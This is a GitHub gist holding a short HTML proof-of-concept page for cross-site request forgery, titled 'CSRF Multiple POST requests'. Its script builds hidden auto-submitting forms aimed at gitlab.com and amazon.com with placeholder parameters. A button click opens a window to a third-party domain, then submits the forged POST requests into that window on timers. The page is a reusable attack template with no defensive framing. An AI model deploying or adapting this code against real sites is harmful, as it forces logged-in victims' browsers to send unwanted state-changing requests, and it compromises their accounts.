Last active
July 6, 2025 23:10
-
-
Save MEY-D/14e3a6449b340a8a2122d5e2b2ad662a to your computer and use it in GitHub Desktop.
CSRF Multiple POST requests
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<body> | |
<button onclick="run()">Click</button> | |
<script> | |
function addInput(form, paramString) { | |
paramString.split("&").forEach(pair => { | |
const [name, value] = pair.split("="); | |
form.appendChild(Object.assign(document.createElement("input"), { | |
type: "hidden", name, value | |
})); | |
}); | |
} | |
const form1 = document.createElement("form"); | |
form1.method = "POST"; | |
form1.action = "https://gitlab.com/"; | |
form1.target = "xxx"; | |
form1.style.display = "none"; | |
addInput(form1, "meydi=god&login=true"); | |
document.body.appendChild(form1); | |
const form2 = document.createElement("form"); | |
form2.method = "POST"; | |
form2.action = "https://amazon.com/"; | |
form2.target = "xxx"; | |
form2.style.display = "none"; | |
addInput(form2, "param2=meydi"); | |
document.body.appendChild(form2); | |
function run() { | |
window.open("https://meydee.xyz/", "xxx", "width=800,height=800"); | |
setTimeout(() => { | |
form1.submit(); | |
setTimeout(() => form2.submit(), 4000); | |
}, 3000); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment